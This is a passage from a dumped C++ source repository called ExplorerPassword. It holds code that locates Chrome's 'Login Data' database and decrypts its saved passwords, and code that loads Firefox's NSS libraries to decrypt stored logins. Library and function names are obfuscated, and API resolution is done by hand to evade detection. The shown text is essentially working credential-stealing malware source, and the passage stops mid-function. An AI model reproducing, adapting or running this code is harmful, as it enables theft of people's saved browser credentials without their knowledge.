├── ExplorerPassword.sln ├── ExplorerPassword.suo ├── ExplorerPassword ├── CChrome.cpp ├── CChrome.h ├── CFirefox.cpp ├── CFirefox.h ├── CIexplorer.cpp ├── CIexplorer.h ├── COpera.cpp ├── COpera.h ├── ExplorerPassword.cpp ├── ExplorerPassword.h ├── ExplorerPassword.ico ├── ExplorerPassword.rc ├── ExplorerPassword.vcproj ├── ExplorerPassword.vcproj.BAKEMONO.John.user ├── ExplorerPassword.vcproj.Crazy-PC.Crazy.user ├── JSON.cpp ├── JSON.h ├── JSONValue.cpp ├── JSONValue.h ├── ReadMe.txt ├── Resource.h ├── des.cpp ├── des.h ├── md5.cpp ├── md5.h ├── sha1.cpp ├── sha1.h ├── small.ico ├── stdafx.cpp └── stdafx.h ├── README.md ├── SQLite ├── SQLite3.lib ├── SQLite3_D.lib ├── sqlite3.h └── sqlite3ext.h └── release └── ExplorerPassword.exe /ExplorerPassword.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 9.00 3 | # Visual Studio 2005 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExplorerPassword", "ExplorerPassword\ExplorerPassword.vcproj", "{C2BD8A14-155C-495F-8DBC-BDC8652C026E}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {C2BD8A14-155C-495F-8DBC-BDC8652C026E}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {C2BD8A14-155C-495F-8DBC-BDC8652C026E}.Debug|Win32.Build.0 = Debug|Win32 14 | {C2BD8A14-155C-495F-8DBC-BDC8652C026E}.Release|Win32.ActiveCfg = Release|Win32 15 | {C2BD8A14-155C-495F-8DBC-BDC8652C026E}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /ExplorerPassword.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword.suo -------------------------------------------------------------------------------- /ExplorerPassword/CChrome.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "CChrome.h" 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "../SQLite/sqlite3.h" 13 | 14 | using namespace std; 15 | #pragma comment(lib,"userenv.lib") 16 | #pragma comment(lib, "Crypt32") 17 | 18 | #ifdef _DEBUG 19 | # pragma comment(lib, "../SQlite/SQLite3_D.lib") 20 | #else 21 | # pragma comment(lib, "../SQlite/SQLite3.lib") 22 | #endif //_DEBUG 23 | 24 | CChrome::CChrome() 25 | { 26 | } 27 | 28 | CChrome::~CChrome() 29 | { 30 | } 31 | 32 | int CChrome::DirectoryExists(wchar_t *path) 33 | { 34 | DWORD attr = GetFileAttributesW(path); 35 | 36 | if (!path) 37 | return 0; 38 | 39 | if( (attr < 0) || !(attr & FILE_ATTRIBUTE_DIRECTORY ) ) 40 | return 0; 41 | 42 | return 1; 43 | } 44 | 45 | char *CChrome::GetDosAsciiName(wchar_t *orig_path) 46 | { 47 | char *dest_a_path; 48 | wchar_t dest_w_path[_MAX_PATH + 2]; 49 | DWORD mblen; 50 | 51 | memset(dest_w_path, 0, sizeof(dest_w_path)); 52 | //if (!FNC(GetShortPathNameW)(orig_path, dest_w_path, (sizeof(dest_w_path) / sizeof (wchar_t))-1)) 53 | if (!GetShortPathNameW(orig_path, dest_w_path, (sizeof(dest_w_path) / sizeof (wchar_t))-1)) 54 | return NULL; 55 | 56 | //if ( (mblen = FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, NULL, 0, NULL, NULL)) == 0 ) 57 | if ( (mblen = WideCharToMultiByte(CP_ACP, 0, dest_w_path, -1, NULL, 0, NULL, NULL)) == 0 ) 58 | return NULL; 59 | 60 | if ( !(dest_a_path = (char *)malloc(mblen)) ) 61 | return NULL; 62 | 63 | //if ( FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, (LPSTR)dest_a_path, mblen, NULL, NULL) == 0 ) { 64 | if ( WideCharToMultiByte(CP_ACP, 0, dest_w_path, -1, (LPSTR)dest_a_path, mblen, NULL, NULL) == 0 ) { 65 | free(dest_a_path); 66 | return NULL; 67 | } 68 | 69 | return dest_a_path; 70 | } 71 | 72 | char *CChrome::HM_CompletePath(char *file_name, char *buffer) 73 | { 74 | _snprintf_s(buffer, _MAX_PATH, _TRUNCATE, "%s",file_name); 75 | return buffer; 76 | } 77 | 78 | int CChrome::DecryptPass(char *cryptData, wchar_t *clearData, int clearSize) 79 | { 80 | DATA_BLOB input; 81 | input.pbData = const_cast(reinterpret_cast(cryptData)); 82 | DATA_BLOB output; 83 | DWORD blen; 84 | 85 | for(blen=128; blen<=2048; blen+=16) { 86 | input.cbData = static_cast(blen); 87 | //if (FNC(CryptUnprotectData)(&input, NULL, NULL, NULL, NULL, 0, &output)) 88 | if(CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) 89 | break; 90 | } 91 | if (blen>=2048) 92 | return 0; 93 | 94 | CHAR *decrypted = (CHAR *)malloc(clearSize); 95 | if (!decrypted) { 96 | LocalFree(output.pbData); 97 | return 0; 98 | } 99 | 100 | memset(decrypted, 0, clearSize); 101 | memcpy(decrypted, output.pbData, (clearSize < output.cbData) ? clearSize - 1 : output.cbData); 102 | 103 | _snwprintf_s(clearData, clearSize, _TRUNCATE, L"%S", decrypted); 104 | 105 | free(decrypted); 106 | LocalFree(output.pbData); 107 | 108 | return 1; 109 | } 110 | 111 | int CChrome::parse_chrome_signons(void *param, int argc, char **argv, char **azColName) 112 | { 113 | CChrome* pThis = (CChrome*)param; 114 | struct chp_entry chentry; 115 | struct get_Chrome getchrometemp; 116 | ZeroMemory(&chentry, sizeof(chentry)); 117 | ZeroMemory(&getchrometemp, sizeof(getchrometemp)); 118 | 119 | for(int i=0; iDecryptPass(argv[i], chentry.pass_value, 255); 129 | } 130 | } 131 | //(chentry.service, chentry.resource, chentry.user_value, chentry.pass_value); 132 | wcscpy_s(getchrometemp.pass_name,chentry.pass_value); 133 | wcscpy_s(getchrometemp.url,chentry.resource); 134 | wcscpy_s(getchrometemp.user_name,chentry.user_value); 135 | pThis->pCH.push(getchrometemp); 136 | return 0; 137 | } 138 | 139 | int CChrome::DumpSqlCH(wchar_t *profilePath, wchar_t *signonFile) 140 | { 141 | sqlite3 *db; 142 | char *ascii_path; 143 | CHAR sqlPath[MAX_PATH]; 144 | int rc; 145 | 146 | if (!(ascii_path = GetDosAsciiName(profilePath))) 147 | return 0; 148 | 149 | sprintf_s(sqlPath, MAX_PATH, "%s\\%S", ascii_path, signonFile); 150 | if (ascii_path) { 151 | free(ascii_path); 152 | } 153 | 154 | if ((rc = sqlite3_open(sqlPath, &db))) 155 | return 0; 156 | int nResult = sqlite3_exec(db, "SELECT * FROM logins;", parse_chrome_signons, this, NULL); 157 | 158 | sqlite3_close(db); 159 | 160 | return 1; 161 | } 162 | 163 | wchar_t *CChrome::GetCHProfilePath() 164 | { 165 | wchar_t appPath[MAX_PATH]; 166 | static wchar_t FullPath[MAX_PATH]; 167 | 168 | memset(appPath, 0, sizeof(appPath)); 169 | //if (!FNC(SHGetSpecialFolderPathW)(NULL, appPath, CSIDL_LOCAL_APPDATA, TRUE)) 170 | if (!SHGetSpecialFolderPathW(NULL, appPath, CSIDL_LOCAL_APPDATA, TRUE)) 171 | return NULL; 172 | 173 | _snwprintf_s(FullPath, MAX_PATH, L"%s\\Google\\Chrome\\User Data\\Default", appPath); 174 | 175 | return FullPath; 176 | } 177 | 178 | int CChrome::DumpChrome(void) 179 | { 180 | wchar_t *ProfilePath = NULL; //Profile path 181 | 182 | ProfilePath = GetCHProfilePath(); 183 | 184 | if (ProfilePath == NULL || !DirectoryExists(ProfilePath)) 185 | return 0; 186 | 187 | DumpSqlCH(ProfilePath, L"Login Data"); 188 | 189 | return 0; 190 | } 191 | -------------------------------------------------------------------------------- /ExplorerPassword/CChrome.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/CChrome.h -------------------------------------------------------------------------------- /ExplorerPassword/CFirefox.cpp: -------------------------------------------------------------------------------- 1 | #include "CFirefox.h" 2 | 3 | #define _CRT_SECURE_NO_WARNINGS 1 4 | 5 | #include 6 | #include "JSON.h" 7 | #include "JSONValue.h" 8 | #include "../SQLite/sqlite3.h" 9 | 10 | #pragma comment(lib,"userenv.lib") 11 | #define DLLNAMELEN (_MAX_PATH + 1) 12 | char H4_HOME_PATH[DLLNAMELEN]; 13 | 14 | 15 | 16 | //Firefox internal SEC structures 17 | typedef enum SECItemType 18 | { 19 | siBuffer = 0, 20 | siClearDataBuffer = 1, 21 | siCipherDataBuffer = 2, 22 | siDERCertBuffer = 3, 23 | siEncodedCertBuffer = 4, 24 | siDERNameBuffer = 5, 25 | siEncodedNameBuffer = 6, 26 | siAsciiNameString = 7, 27 | siAsciiString = 8, 28 | siDEROID = 9, 29 | siUnsignedInteger = 10, 30 | siUTCTime = 11, 31 | siGeneralizedTime = 12 32 | }; 33 | 34 | struct SECItem 35 | { 36 | SECItemType type; 37 | unsigned char *data; 38 | unsigned int len; 39 | }; 40 | 41 | typedef enum SECStatus 42 | { 43 | SECWouldBlock = -2, 44 | SECFailure = -1, 45 | SECSuccess = 0 46 | }; 47 | //----------------------------------------------------------------------- 48 | //Removes gecko-sdk dependency 49 | #define PRBool int 50 | #define PRUint32 unsigned int 51 | #define PR_TRUE 1 52 | #define PR_FALSE 0 53 | 54 | //Mozilla library names 55 | #define NSS_LIBRARY_NAME "199n.Xyy" //"nss3.dll" 56 | #define PLC_LIBRARY_NAME "Pypx.Xyy" //"plc4.dll" 57 | #define NSPR_LIBRARY_NAME "19PEx.Xyy" //"nspr4.dll" 58 | #define SQLITE_LIBRARY_NAME "9ByZLIn.Xyy" //"sqlite3.dll" 59 | #define SQLITEALT_LIBRARY_NAME "05O9ByZLIn.Xyy" //"mozsqlite3.dll" 60 | #define MOZCRT_LIBRARY_NAME "05OpELYN.Xyy" //"mozcrt19.dll" 61 | #define MOZCRTALT_LIBRARY_NAME "05OVLZy9.Xyy" //"mozutils.dll" 62 | #define MOZCRTALTSEC_LIBRARY_NAME "05O7yVI.Xyy" //"mozglue.dll" 63 | #define NSSU_LIBRARY_NAME "199VLZyn.Xyy" //"nssutil3.dll" 64 | #define PLDS_LIBRARY_NAME "PyX9x.Xyy" //"plds4.dll" 65 | #define SOFTN_LIBRARY_NAME "95ML5T1n.Xyy" //"softokn3.dll" 66 | 67 | #define FREEBL3_LIBRARY_NAME "MEIIiyn.Xyy" //"freebl3.dll" 68 | #define NSSDBM_LIBRARY_NAME "199Xi0n.Xyy" //"nssdbm3.dll" 69 | 70 | //----------------------------------------------------------------------- 71 | 72 | typedef struct PK11SlotInfoStr PK11SlotInfo; 73 | 74 | // NSS Library functions 75 | typedef SECStatus (*NSS_Init) (const char *configdir); 76 | typedef SECStatus (*NSS_Shutdown) (void); 77 | typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void); 78 | typedef void (*PK11_FreeSlot) (PK11SlotInfo *slot); 79 | typedef SECStatus (*PK11_CheckUserPassword) (PK11SlotInfo *slot,char *pw); 80 | typedef SECStatus (*PK11_Authenticate) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx); 81 | typedef SECStatus (*PK11SDR_Decrypt) (SECItem *data, SECItem *result, void *cx); 82 | 83 | // PLC Library functions 84 | typedef char * (*PL_Base64Decode)( const char *src, PRUint32 srclen, char *dest); 85 | 86 | typedef HMODULE (WINAPI *LoadLibrary_t)(char *); 87 | typedef HMODULE (WINAPI *LoadLibrary_w)(wchar_t *); 88 | 89 | // Function declarations.. 90 | void NSSUnload(); 91 | int InitFFLibs(wchar_t *firefoxPath); 92 | int InitializeNSSLibrary(wchar_t *profilePath, char *password); 93 | int DirectoryExists(wchar_t *path); 94 | wchar_t *GetFFProfilePath(); 95 | wchar_t *GetFFLibPath(); 96 | 97 | int PK11Decrypt(CHAR *decodeData, int decodeLen, wchar_t **clearData, int *finalLen); 98 | int Base64Decode(char *cryptData, char **decodeData, int *decodeLen); 99 | //----------------------------------------------------------------------- 100 | NSS_Init NSSInit = NULL; 101 | NSS_Shutdown NSSShutdown = NULL; 102 | PK11_GetInternalKeySlot PK11GetInternalKeySlot = NULL; 103 | PK11_CheckUserPassword PK11CheckUserPassword = NULL; 104 | PK11_FreeSlot PK11FreeSlot = NULL; 105 | PK11_Authenticate PK11Authenticate = NULL; 106 | PK11SDR_Decrypt PK11SDRDecrypt = NULL; 107 | PL_Base64Decode PLBase64Decode = NULL; 108 | 109 | int IsNSSInitialized = 0; 110 | 111 | HMODULE libnss = NULL; 112 | HMODULE libplc = NULL; 113 | HMODULE libnspr4 = NULL; 114 | HMODULE libcrt = NULL; 115 | HMODULE libnssu = NULL; 116 | HMODULE libpld = NULL; 117 | HMODULE libsof = NULL; 118 | HMODULE libtmp = NULL; 119 | HMODULE libmsvcrt = NULL; 120 | HMODULE libmsvcrp = NULL; 121 | 122 | #define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0); 123 | #define ALPHABET_LEN 64 124 | 125 | CFirefox::CFirefox() 126 | { 127 | pThis = this; 128 | } 129 | CFirefox::~CFirefox() 130 | { 131 | } 132 | 133 | char *CFirefox::DeobStringA(char *string) 134 | { 135 | char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M', 136 | 'f','O','z','Q','A','S','x','4','V','u','X','d','Z', 137 | 'i','b','U','I','e','y','l','J','W','h','j','0','m', 138 | '5','o','2','E','r','L','t','6','v','G','R','N','9', 139 | 's','Y','1','n','3','P','p','c','7','g','-','C'}; 140 | static char ret_string[MAX_PATH]; 141 | DWORD i,j, scramble=1; 142 | 143 | _snprintf_s(ret_string, MAX_PATH, "%s", string); 144 | 145 | for (i=0; ret_string[i]; i++) { 146 | for (j=0; jSignature != 0x00004550 || PE_Header->OptionalHeader.NumberOfRvaAndSizes < 1 || 320 | PE_Header->OptionalHeader.DataDirectory[0].VirtualAddress == 0) 321 | return NULL; 322 | 323 | Dll_Export = (MY_IMAGE_EXPORT_DESCRIPTOR *) (ImageBase + PE_Header->OptionalHeader.DataDirectory[0].VirtualAddress); 324 | // Scorre la lista di DLL importate 325 | for (Index=0; Index < Dll_Export->NumberOfNames ; Index++) { 326 | pFuncName = (DWORD *)(ImageBase + Dll_Export->AddressOfNames + Index*4); 327 | if (*pFuncName == NULL) 328 | continue; 329 | // Vede se e' la funzione che cerchiamo 330 | if (!strcmp(func_to_search, (char *)(ImageBase + *pFuncName))) 331 | break; 332 | } 333 | 334 | if(Index >= Dll_Export->NumberOfNames) 335 | return NULL; 336 | 337 | // Legge Ordinale 338 | Ordinal = (unsigned short *) (ImageBase + Dll_Export->AddressOfNameOrdinals + Index*2); 339 | // Legge il puntatore a funzione 340 | pFunc_Pointer = (DWORD *) (ImageBase + Dll_Export->AddressOfFunctions + (*Ordinal)*4); 341 | return (ImageBase + *pFunc_Pointer); 342 | } 343 | HMODULE CFirefox::LoadDLL(wchar_t *src) 344 | { 345 | LoadLibrary_w pLoadLibrary; 346 | pLoadLibrary = (LoadLibrary_w) HM_SafeGetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW"); 347 | if (!pLoadLibrary) 348 | return NULL; 349 | 350 | return pLoadLibrary(src); 351 | } 352 | HMODULE CFirefox::CopyAndLoadDLL(wchar_t *src, char *dest) 353 | { 354 | LoadLibrary_t pLoadLibrary; 355 | 356 | pLoadLibrary = (LoadLibrary_t) HM_SafeGetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); 357 | if (!pLoadLibrary) 358 | return NULL; 359 | 360 | if (!CopyDLL(src, dest)) 361 | return NULL; 362 | 363 | return pLoadLibrary(dest); 364 | } 365 | 366 | void CFirefox::FireFoxInitFunc() 367 | { 368 | BOOL FF_ver_3 = false; 369 | wchar_t loadPath[MAX_PATH]; 370 | char destPath[MAX_PATH]; 371 | wchar_t *firefoxDir; 372 | 373 | firefoxDir = GetFFLibPath(); 374 | if (!firefoxDir || !DirectoryExists(firefoxDir)) { 375 | firefoxDir = GetTBLibPath(); 376 | if (!firefoxDir || !DirectoryExists(firefoxDir)) 377 | return; 378 | } 379 | 380 | if (!libmsvcrt) { 381 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, "msvcr100.dll"); 382 | //HM_CompletePath("msvcr100.dll", destPath); 383 | //libmsvcrt = CopyAndLoadDLL(loadPath, destPath); 384 | libmsvcrt = LoadDLL(loadPath); 385 | } 386 | 387 | if (!libmsvcrt) { 388 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, "msvcr120.dll"); 389 | //HM_CompletePath("msvcr120.dll", destPath); 390 | //libmsvcrt = CopyAndLoadDLL(loadPath, destPath); 391 | libmsvcrt = LoadDLL(loadPath); 392 | } 393 | 394 | if (!libmsvcrp) { 395 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, "msvcp100.dll"); 396 | //HM_CompletePath("msvcp100.dll", destPath); 397 | //libmsvcrp = CopyAndLoadDLL(loadPath, destPath); 398 | libmsvcrp = LoadDLL(loadPath); 399 | } 400 | 401 | if (!libmsvcrp) { 402 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, "msvcp120.dll"); 403 | //HM_CompletePath("msvcp120.dll", destPath); 404 | //libmsvcrp = CopyAndLoadDLL(loadPath, destPath); 405 | libmsvcrp = LoadDLL(loadPath); 406 | } 407 | 408 | if (!libcrt) { 409 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRT_LIBRARY_NAME)); 410 | HM_CompletePath(DeobStringA(MOZCRT_LIBRARY_NAME), destPath); 411 | libcrt = CopyAndLoadDLL(loadPath, destPath); 412 | if (!libcrt) { 413 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRTALT_LIBRARY_NAME)); 414 | //HM_CompletePath(DeobStringA(MOZCRTALT_LIBRARY_NAME), destPath); 415 | //libcrt = CopyAndLoadDLL(loadPath, destPath); 416 | libcrt = LoadDLL(loadPath); 417 | } 418 | if (!libcrt) { 419 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(MOZCRTALTSEC_LIBRARY_NAME)); 420 | //HM_CompletePath(DeobStringA(MOZCRTALTSEC_LIBRARY_NAME), destPath); 421 | //libcrt = CopyAndLoadDLL(loadPath, destPath); 422 | libcrt = LoadDLL(loadPath); 423 | } 424 | 425 | if (libcrt) 426 | FF_ver_3 = true; 427 | } 428 | 429 | if (!libnspr4) { 430 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSPR_LIBRARY_NAME)); 431 | //HM_CompletePath(DeobStringA(NSPR_LIBRARY_NAME), destPath); 432 | //libnspr4 = CopyAndLoadDLL(loadPath, destPath); 433 | libnspr4 = LoadDLL(loadPath); 434 | //if (!libnspr4) 435 | //return; 436 | } 437 | 438 | if (libnspr4) { 439 | if (!libpld) { 440 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(PLDS_LIBRARY_NAME)); 441 | //HM_CompletePath(DeobStringA(PLDS_LIBRARY_NAME), destPath); 442 | //libpld = CopyAndLoadDLL(loadPath, destPath); 443 | libpld = LoadDLL(loadPath); 444 | if (!libpld) 445 | return; 446 | } 447 | 448 | if (!libplc) { 449 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(PLC_LIBRARY_NAME)); 450 | //HM_CompletePath(DeobStringA(PLC_LIBRARY_NAME), destPath); 451 | //libplc = CopyAndLoadDLL(loadPath, destPath); 452 | libplc = LoadDLL(loadPath); 453 | if (!libplc) 454 | return; 455 | } 456 | 457 | if (FF_ver_3) { 458 | if (!libnssu) { 459 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSSU_LIBRARY_NAME)); 460 | //HM_CompletePath(DeobStringA(NSSU_LIBRARY_NAME), destPath); 461 | //libnssu = CopyAndLoadDLL(loadPath, destPath); 462 | libnssu = LoadDLL(loadPath); 463 | if (!libnssu) 464 | return; 465 | } 466 | } 467 | 468 | if (!libsof) { 469 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SOFTN_LIBRARY_NAME)); 470 | //HM_CompletePath(DeobStringA(SOFTN_LIBRARY_NAME), destPath); 471 | //libsof = CopyAndLoadDLL(loadPath, destPath); 472 | libsof = LoadDLL(loadPath); 473 | if (!libsof) 474 | return; 475 | } 476 | } 477 | 478 | if (!libnss) { 479 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSS_LIBRARY_NAME)); 480 | //HM_CompletePath(DeobStringA(NSS_LIBRARY_NAME), destPath); 481 | //libnss = CopyAndLoadDLL(loadPath, destPath); 482 | libnss = LoadDLL(loadPath); 483 | if (!libnss) 484 | return; 485 | 486 | if (!libplc) 487 | libplc = libnss; 488 | } 489 | 490 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(FREEBL3_LIBRARY_NAME)); 491 | //HM_CompletePath(DeobStringA(FREEBL3_LIBRARY_NAME), destPath); 492 | //CopyDLL(loadPath, destPath); 493 | LoadDLL(loadPath); 494 | 495 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(NSSDBM_LIBRARY_NAME)); 496 | //HM_CompletePath(DeobStringA(NSSDBM_LIBRARY_NAME), destPath); 497 | //CopyDLL(loadPath, destPath); 498 | LoadDLL(loadPath); 499 | 500 | if (!libsof) { 501 | swprintf_s(loadPath, MAX_PATH, L"%s\\%S", firefoxDir, DeobStringA(SOFTN_LIBRARY_NAME)); 502 | //HM_CompletePath(DeobStringA(SOFTN_LIBRARY_NAME), destPath); 503 | //CopyDLL(loadPath, destPath); 504 | LoadDLL(loadPath); 505 | } 506 | } 507 | 508 | void CFirefox::FireFoxUnInitFunc() 509 | { 510 | if ( libnss != NULL ) 511 | FreeLibrary(libnss); //Free nss library 512 | 513 | if ( libsof != NULL ) 514 | FreeLibrary(libsof); 515 | 516 | if ( libnssu != NULL ) 517 | FreeLibrary(libnssu); 518 | 519 | if ( libplc != NULL && libplc != libnss ) 520 | FreeLibrary(libplc); //Free plc library 521 | 522 | if ( libpld != NULL ) 523 | FreeLibrary(libpld); 524 | 525 | if ( libnspr4 != NULL ) 526 | FreeLibrary(libnspr4); 527 | 528 | if ( libcrt != NULL ) { 529 | FreeLibrary(libcrt); 530 | Sleep(100); 531 | FreeLibrary(libcrt); 532 | } 533 | 534 | if ( libmsvcrt != NULL ) { 535 | FreeLibrary(libmsvcrt); 536 | Sleep(100); 537 | FreeLibrary(libmsvcrt); 538 | } 539 | 540 | if ( libmsvcrp != NULL ) { 541 | FreeLibrary(libmsvcrp); 542 | Sleep(100); 543 | FreeLibrary(libmsvcrp); 544 | } 545 | 546 | libnss = NULL; 547 | libplc = NULL; 548 | libnspr4 = NULL; 549 | libcrt = NULL; 550 | libnssu = NULL; 551 | libpld = NULL; 552 | libsof = NULL; 553 | libtmp = NULL; 554 | libmsvcrt = NULL; 555 | libmsvcrp = NULL; 556 | } 557 | 558 | 559 | int CFirefox::DirectoryExists(wchar_t *path) 560 | { 561 | DWORD attr = GetFileAttributesW(path); 562 | 563 | if (!path) 564 | return 0; 565 | 566 | if( (attr < 0) || !(attr & FILE_ATTRIBUTE_DIRECTORY ) ) 567 | return 0; 568 | 569 | return 1; 570 | } 571 | 572 | 573 | //Loads specified firefox library with the given ffdir path as root 574 | HMODULE CFirefox::LoadLibraryFF(wchar_t *firefoxDir, char *libName) 575 | { 576 | char loadPath[MAX_PATH]; 577 | 578 | sprintf_s(loadPath, MAX_PATH, "%S\\%s", firefoxDir, libName); 579 | 580 | if (!(libtmp = LoadLibraryA(loadPath))) 581 | return NULL; 582 | 583 | return libtmp; 584 | } 585 | 586 | 587 | int CFirefox::InitFFLibs(wchar_t *FFDir) 588 | { 589 | if (FFDir == NULL ) 590 | return 0; 591 | 592 | NSSInit = NULL; 593 | NSSShutdown = NULL; 594 | 595 | // Extract the required functions.... 596 | NSSInit = (NSS_Init) HM_SafeGetProcAddress(libnss, DeobStringA("RAACU1ZL")); //"NSS_Init" 597 | NSSShutdown = (NSS_Shutdown)HM_SafeGetProcAddress(libnss, DeobStringA("RAACAWVLX5q1")); //"NSS_Shutdown" 598 | PK11GetInternalKeySlot = (PK11_GetInternalKeySlot) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCvILU1LIE1HykIeAy5L")); //"PK11_GetInternalKeySlot" 599 | PK11FreeSlot = (PK11_FreeSlot) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCaEIIAy5L")); //"PK11_FreeSlot" 600 | PK11Authenticate = (PK11_Authenticate) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYCQVLWI1LZpHLI")); //"PK11_Authenticate" 601 | PK11SDRDecrypt = (PK11SDR_Decrypt) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYAKGCKIpEePL")); //"PK11SDR_Decrypt" 602 | PK11CheckUserPassword = (PK11_CheckUserPassword ) HM_SafeGetProcAddress(libnss, DeobStringA("3kYYC-WIpTb9IE3H99q5EX")); //"PK11_CheckUserPassword" 603 | 604 | if ( !NSSInit || !NSSShutdown || !PK11GetInternalKeySlot || !PK11Authenticate || !PK11SDRDecrypt || !PK11FreeSlot || !PK11CheckUserPassword) { 605 | NSSUnload(); 606 | return 0; 607 | } 608 | 609 | // Get the functions from PLC library 610 | if (!(PLBase64Decode = ( PL_Base64Decode ) HM_SafeGetProcAddress(libplc, DeobStringA("3rC_H9ItxKIp5XI")))) { //"PL_Base64Decode" 611 | NSSUnload(); 612 | return 0; 613 | } 614 | 615 | return 1; 616 | } 617 | 618 | 619 | int CFirefox::InitializeNSSLibrary(wchar_t *profilePath) 620 | { 621 | CHAR szProfile[MAX_PATH]; 622 | 623 | sprintf_s(szProfile, MAX_PATH, "%S", profilePath); 624 | 625 | IsNSSInitialized = 0; 626 | 627 | // Initialize the NSS library 628 | if( (*NSSInit) (szProfile) != SECSuccess ) { 629 | NSSUnload(); 630 | return 0; 631 | } 632 | 633 | IsNSSInitialized = 1; 634 | return 1; 635 | } 636 | 637 | void CFirefox::NSSUnload() 638 | { 639 | if ( IsNSSInitialized && (NSSShutdown != NULL) ) 640 | (*NSSShutdown)(); 641 | 642 | NSSShutdown = NULL; 643 | } 644 | 645 | // La stringa tornata va liberata 646 | wchar_t *UTF8_2_UTF16(char *str) 647 | { 648 | DWORD wclen; 649 | wchar_t *wcstr; 650 | 651 | if ( (wclen = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0)) == 0 ) 652 | return NULL; 653 | 654 | if ( !(wcstr = (wchar_t *)malloc(wclen*sizeof(wchar_t))) ) 655 | return NULL; 656 | 657 | if ( MultiByteToWideChar(CP_UTF8, 0, str, -1, wcstr, wclen) == 0 ) { 658 | free(wcstr); 659 | return NULL; 660 | } 661 | 662 | return wcstr; 663 | } 664 | 665 | 666 | int CFirefox::DecryptStr(char *cryptData, wchar_t *clearData, int clearSize) 667 | { 668 | int decodeLen = 0; 669 | int finalLen = 0; 670 | char *decodeData = NULL; 671 | wchar_t *finalData = NULL; 672 | 673 | if (cryptData[0] == NULL ) 674 | return 0; 675 | 676 | if ((Base64Decode(cryptData, &decodeData, &decodeLen) == 0) || (decodeData == NULL)) 677 | return 0; 678 | 679 | // Do the actual PK11 decryption 680 | if ((PK11Decrypt(decodeData, decodeLen, &finalData, &finalLen) == 0) || (finalData == NULL)) 681 | return 0; 682 | 683 | wcsncpy(clearData,finalData, clearSize); 684 | 685 | if (finalLen < (INT)clearSize + 1) 686 | *(clearData + finalLen) = 0; // Null terminate string 687 | 688 | SAFE_FREE(finalData); 689 | 690 | return 1; 691 | } 692 | 693 | 694 | int CFirefox::Base64Decode(char *cryptData, char **decodeData, int *decodeLen) 695 | { 696 | int len = strlen( cryptData ); 697 | int adjust = 0; 698 | 699 | if (cryptData[len-1] == '=') { 700 | adjust++; 701 | if (cryptData[len-2] == '=') 702 | adjust++; 703 | } 704 | 705 | *decodeData = ( char *)(*PLBase64Decode)(cryptData, len, NULL); 706 | 707 | if( *decodeData == NULL ) 708 | return 0; 709 | 710 | *decodeLen = (len*3)/4 - adjust; 711 | 712 | return 1; 713 | } 714 | 715 | 716 | int CFirefox::PK11Decrypt(char *decodeData, int decodeLen, wchar_t **clearData, int *finalLen) 717 | { 718 | PK11SlotInfo *slot = 0; 719 | SECItem request; 720 | SECItem reply; 721 | 722 | // Find token with SDR key 723 | slot = (*PK11GetInternalKeySlot)(); 724 | 725 | if (!slot) 726 | return 0; 727 | 728 | // Decrypt the string 729 | request.data = (unsigned char *)decodeData; 730 | request.len = decodeLen; 731 | reply.data = 0; 732 | reply.len = 0; 733 | 734 | if ((*PK11SDRDecrypt)(&request, &reply, NULL) != SECSuccess) 735 | return 0; 736 | 737 | *clearData = UTF8_2_UTF16((char *)reply.data); 738 | *finalLen = reply.len; 739 | 740 | // Free the slot 741 | 